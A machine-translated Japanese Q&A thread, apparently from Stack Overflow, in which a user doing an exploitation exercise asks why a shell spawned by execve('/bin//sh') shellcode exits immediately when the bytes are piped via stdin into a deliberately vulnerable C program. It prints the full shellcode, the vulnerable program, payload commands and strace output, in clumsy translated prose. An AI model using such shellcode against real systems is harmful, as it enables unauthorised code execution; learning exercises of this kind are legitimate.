私は研究をしたが、私の基本的な問題に対する答えは見つけられなかったと言って前置きします。shellcodeから起動したシェルが起動時に即座に終了する
シェルコードから基本プログラムを使ってシェルを起動します。 これは、今で作業しなければならない使用シェルコード、次のとおりです。
0: 31 c0 xor eax, eax
2: 50 push eax
3: 68 2f 2f 73 68 push 0x68732f2f
8: 68 2f 62 69 6e push 0x6e69622f
d: 89 e3 mov ebx, esp
f: 50 push eax
10: 53 push ebx
11: 89 e1 mov ecx, esp
13: b0 0b mov al, 0xb
15: 31 d2 xor edx, edx
17: cd 80 int 0x80
奇妙なことがそうのように使用する場合、このシェルコードが動作している次のとおりです。
char *shellcode = "\x31[...]x80";
int main(void)
{
(*(void(*)()) shellcode)();
return 0;
}
ではなく、このプログラムを標準入力から読み込みます(以下のフラグを指定してコンパイル:
gcc vuln.c -o vuln -fno-stack-protector -m32 -z execstack):
コード:
#include [...]
typedef void (*func)(void);
int main(void)
{
char input[4096];
read(0, input, 4096);
((func)&input)();
return 0;
}
2番目のプログラムで起こることは、プログラムがエラーコードなしで終了し、シェルが生成されないことです。
straceのは、第二のプログラムで、シェルが正常に起動されていることを私に示しています
read(0, "1\300Ph//shh/bin\211\343PS\211\341\260\v1\322\315\200", 4096) = 26
execve("/bin//sh", ["/bin//sh"], NULL) = 0
strace: [ Process PID=3139 runs in 64 bit mode. ]
しかし、私は何もするように頼まないよので、終了間際のこのラインは非常に疑わしいです:
read(0, "", 8192) = 0
を
私は何とか生成されたシェルにnullバイトを送信していると思われ、それを殺します。 I最初にその私が正しく私のシェルコードファイルを設定していないんだけど、それらは私が使用するコマンドであるかの:私は
perl -e 'print "[...]" | ./vuln
:
perl -e 'print "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\x31\xd2\xcd\x80"' > payload.bin
./vuln < payload.bin
また、私は、このコマンドを使用してみましたが、同じ結果を得ましたまた、ファイル内の文字をチェックしましたが、ファイルの重みは25 octです。同じサイズのシェルコードのために、これは問題ではありません。
私はstdinからシェルコードを与えるために適切な方法を使用していますか、それとも別の方法ですか? いいえ、問題の原因はどこですか?
おかげ
リンクした記事のものと同じ2番目のコードをコンパイルするときに使用されたフラグを含めるのを忘れました。また、2番目のプログラムは、シャットダウンする前にシェルを起動しているようだが、stdinからヌル文字を読み込むので、間違っていないと実行防止が問題にならないはずです(ASLRも無効になります)。 – mat
私は自分の答えを変えました。 – Barmar
答えをありがとう!しかし、私は問題があります:私はシェルを生成しようとしているプログラムは運動であり、変更することはできません:pこれを行うことによってstdinをリダイレクトする以外の何かを使用しようとしました:cat payload | ./vuln。しかし、これは私の場合はうまくいかず、何が起きているのかを見るためにgdb/straceを使ってデバッグする方法もわかりません。私はこのスレッドhttps://stackoverflow.com/q/1456253/8797854を与えられた解決策を試みたが、私はまだ同じ問題を抱えています。何か案が ? – mat